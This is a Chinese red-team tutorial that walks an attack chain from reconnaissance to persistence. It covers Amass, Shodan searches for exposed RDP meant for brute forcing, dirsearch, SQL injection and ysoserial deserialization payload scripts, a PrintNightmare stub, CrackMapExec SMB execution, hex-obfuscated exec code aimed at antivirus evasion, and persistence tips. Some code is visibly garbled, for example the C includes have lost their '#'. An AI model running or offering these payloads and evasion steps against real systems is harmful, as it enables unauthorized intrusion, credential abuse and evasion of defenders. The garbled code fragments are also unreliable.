0x01 渗透起点:信息收集的暗面

APT攻击的第一步,往往是信息收集,这不仅仅是为了摸清目标的应用架构,更是为了挖掘隐藏的攻击入口。对于红队来说,这一步是至关重要的,因为一个优秀的攻击链,始于对目标「知己知彼」。在这部分,我将重点介绍如何利用开源情报(OSINT)和技术侦察来最大限度获取目标信息。

黑客示意图

利用OSINT工具剖析目标外部环境

OSINT是信息收集的利器,工具选择不当会浪费宝贵时间。以下是我常用的几种工具及其高效场景:

  • Amass:采集目标域名的子域,并尝试解析IP,特别是在检测未公开的外部服务时非常有用。
  • EyeWitness:对目标Web服务进行截图分析,快速识别登录界面、管理后台。
  • Shodan API:对外暴露服务的快速检索利器,可以定位与目标相关的未修补漏洞。

Amass快速获取子域

运行 Amass 时,我们可以通过 -active 参数触发主动扫描,这会结合DNS的数据泄露和第三方API返回更深层次的子域信息。

<pre><code class="language-bash">amass enum -active -d example.com -o subdomains.txt</code></pre>

红队思路:收集到子域数据后,结合服务指纹识别工具(如Nmap)扫描端口,重点关注SSH、RDP等远程服务,以及Web端口暴露的后台。

Shodan API的实战用法

Shodan提供了针对IP资产的深度搜索,例如扫描某组织暴露的RDP服务:

<pre><code class="language-python">import shodan

api_key = &quot;your_shodan_api_key&quot; api = shodan.Shodan(api_key)

query = &#039;org:&quot;Target Organization&quot; port:3389&#039; results = api.search(query)

for result in results[&#039;matches&#039;]: print(f&quot;IP: {result[&#039;ip_str&#039;]} Port: {result[&#039;port&#039;]}&quot;)</code></pre>

用途:快速找到目标暴露的远程桌面服务,并结合弱口令进行暴力破解。

---

技术侦察:挖掘隐藏的应用架构

除了使用OSINT工具外,主动对目标的技术架构进行探测也至关重要。例如,Web应用可能隐藏多个未公开的API接口或测试页面,而这些往往是渗透的突破口。

Dirsearch:快速目录爆破

如果目标是Web应用,目录扫描可以帮助找到隐藏的管理后台或敏感资源。

<pre><code class="language-bash">python3 dirsearch.py -u https://target.com -e php,html,js -w common.txt</code></pre>

经验分享:定制字典是关键,根据目标的技术栈(PHP/ASP/Node.js),调整爆破的文件后缀和目录路径。

CMS识别与指纹探测

使用工具 WhatWeb 或 Wappalyzer 提取目标站点的技术指纹,例如框架版本号、JS库等。这些信息对后续漏洞挖掘(如插件版本漏洞利用)价值巨大。

<pre><code class="language-bash">whatweb https://target.com</code></pre>

常见盲点:许多开发者会在页面注释或JavaScript文件中泄露敏感信息,例如API Key、数据库连接字符串,甚至管理员邮箱。

---

0x02 攻击切入:漏洞利用与Payload构造

信息收集完成后,下一步就是寻找突破口,无论是未修补的漏洞还是弱口令,都需要通过精心设计的Payload实现攻击。这部分内容将围绕Web漏洞和RCE漏洞展开。

SQL注入的艺术:多场景突破

SQL注入仍然是攻防演练中的经典漏洞,但很多开发者已经对传统的单引号闭合方式做了过滤。这里介绍两种更隐蔽的利用技巧。

黑客示意图

盲注:布尔型与时间型双管齐下

通过布尔型盲注绕过过滤器:

<pre><code class="language-python">import requests

url = &quot;https://target.com/login&quot; payload = &quot;&#039; OR 1=1 --&quot; data = {&quot;username&quot;: f&quot;admin{payload}&quot;, &quot;password&quot;: &quot;password123&quot;}

response = requests.post(url, data=data)

if &quot;Welcome&quot; in response.text: print(&quot;Injection successful!&quot;)</code></pre>

而对于时间型盲注,利用数据库的延迟函数(如 SLEEP()BENCHMARK()):

<pre><code class="language-python">payload = &quot;&#039; OR IF(1=1, SLEEP(5), 0) --&quot;</code></pre>

红队技巧:结合Burp Suite的自动化扫描模块,可以快速扩展注入点,但需要手工验证关键点。

---

反序列化RCE与Payload定制

反序列化漏洞在ASP.NET、Java等平台下非常普遍,典型的利用方式是通过精心构造的序列化对象执行远程代码。

使用Ysoserial构造Java RCE Payload

<pre><code class="language-bash">java -jar ysoserial.jar CommonsCollections1 &quot;calc.exe&quot; &gt; payload.ser</code></pre>

发送POST请求时将Payload作为数据体上传:

<pre><code class="language-python">import requests

url = &quot;https://target.com&quot; headers = {&quot;Content-Type&quot;: &quot;application/x-java-serialized-object&quot;} data = open(&quot;payload.ser&quot;, &quot;rb&quot;).read()

response = requests.post(url, headers=headers, data=data)

if response.status_code == 200: print(&quot;Payload delivered successfully!&quot;)</code></pre>

实战经验:结合工具Burp Collaborator,加速检测反序列化漏洞是否可控。

---

0x03 权限提升与横向渗透

黑客示意图

一旦成功进入目标系统,权限提升是关键。过程中,我们可能会面对严格的权限隔离和EDR监控。这里分享一些绕过技巧。

Windows环境提权

通过内核漏洞快速提权

在Windows系统中,未打补丁的内核漏洞(如CVE-2021-34527)是提权的利器。

以下是一段利用Windows Print Spooler漏洞进行提权的简单代码:

<pre><code class="language-c">#include &lt;stdio.h&gt;

include &lt;stdlib.h&gt;

include &lt;windows.h&gt;

// 伪代码,仅供参考 int main() { printf(&quot;Exploiting CVE-2021-34527...\n&quot;); // 调用恶意DLL加载的函数 // ... return 0; }</code></pre>

注意:提权代码武器化时,需要对AV进行免杀处理,这将在后续章节介绍。

---

横向移动:利用SMB与WMI

横向移动的核心是找到管理员级别的凭据,再通过SMB或WMI执行远程命令。

CrackMapExec破解SMB共享

<pre><code class="language-bash">cme smb 192.168.1.0/24 -u administrator -p password123 --exec-method smbexec</code></pre>

红队技巧:为了避免触发EDR,建议通过手工脚本实现更隐蔽的命令执行。

---

0x04 恶意载荷免杀与EDR对抗

即使成功进入目标环境,我们仍需对抗防御工具的拦截和分析。以下是一些免杀与流量规避的技巧。

恶意代码免杀

利用Python混淆和C语言加载器绕过AV:

<pre><code class="language-python"># 生成恶意载荷的Python代码 payload = &quot;calc.exe&quot; # 替换为真实Payload encoded = payload.encode(&quot;utf-8&quot;).hex()

伪造解码与运行逻辑

exec(f&quot;import os; os.system(bytes.fromhex(&#039;{encoded}&#039;).decode(&#039;utf-8&#039;))&quot;)</code></pre>

---

0x05 从攻击到持久化:后门植入的隐秘策略

成功攻入系统后,持久化是关键。建议通过注册表、计划任务等方式实现持久化,避免被管理员轻易发现。

---

0x06 总结与经验

本次分享的技巧覆盖了从信息收集到持久化的完整攻击链,但需要结合目标环境灵活调整。红队的核心在于随机应变,不断学习新的技术与对抗手段。